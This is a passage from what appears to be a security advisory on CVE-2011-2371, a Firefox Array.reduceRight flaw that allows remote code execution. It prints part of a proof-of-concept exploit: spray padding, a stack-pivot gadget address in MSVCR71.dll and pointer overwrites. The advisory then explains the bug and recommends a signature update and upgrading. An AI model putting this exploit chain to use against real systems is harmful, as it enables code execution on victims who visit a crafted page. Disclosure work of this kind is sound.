



```

"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141" + // padding
// PIVOT MSVCR71.dll 0x7C370EEF LEA ESP, [ESI-3]
// RETN 1C75
"%u0EEF%u7C37" +
"%u4141%u4141" + // padding
"%u4141" + // padding
"%u240c%u3410" + // 3410240c RETN after PIVOT
"%u007c%u0c00" + // 0c00007c PTR TO END OF BUFFER
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
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"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u002e%u0c00"); // 0c00007c -> 0c00002e
// CALL PIVOT 0x7C370EEF

var bheader = 0x12/2; // u.n.d.e.f.i.n.e.d. string
// beginning of each array element
var nullt = 0x2/2; // string null terminator

```

Table 1: The partial proof-of-concept code

About this leak, when a JavaScript Array object had its length set to an extremely large value, the iteration of array elements that occurs when its reduceRight method was subsequently called could result in the execution of attacker controlled memory due to an invalid index value being used to access element properties.

By convincing a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to gain access to an element's property and execute arbitrary code on the system.

#### **4. Recommendation**

1. AegisLab IDP signature database can prevent this attack since 14/10/2011.
2. Upgrade to the latest non-affected version of the software.

#### **5. Reference**

1. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2371>
2. <http://www.mozilla.org/security/announce/2011/mfsa2011-22.html>

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